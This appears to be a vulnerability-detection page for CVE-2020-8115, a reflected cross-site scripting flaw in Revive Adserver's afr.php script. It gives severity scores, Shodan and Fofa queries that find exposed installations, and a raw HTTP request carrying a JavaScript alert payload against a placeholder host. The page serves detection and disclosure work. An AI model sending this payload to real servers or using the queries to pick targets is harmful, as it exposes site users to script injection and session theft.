| Title | Revive Adserver <=5.0.3 - Cross-Site Scripting |
|---|---|
| Author | madrobot,dwisiswant0 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement. |
| Remediation | There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie. |
| CVSS Score | 6.1 |
| EPSS Score | 0.55788 |
| CVE ID | CVE-2020-8115 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"revive adserver"http.favicon.hash:106844876 |
| Fofa Query | icon_hash=106844876title="revive adserver" |
| Tags | cve cve2020 xss hackerone revive-adserver vkev vuln |
Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
GET /www/delivery/afr.php?refresh=10000&")',10000000);alert(1337);setTimeout('alert(" HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/619.29 (KHTML, like Gecko) Version/17.0.14 Safari/619.29
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8115.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8115.pcap
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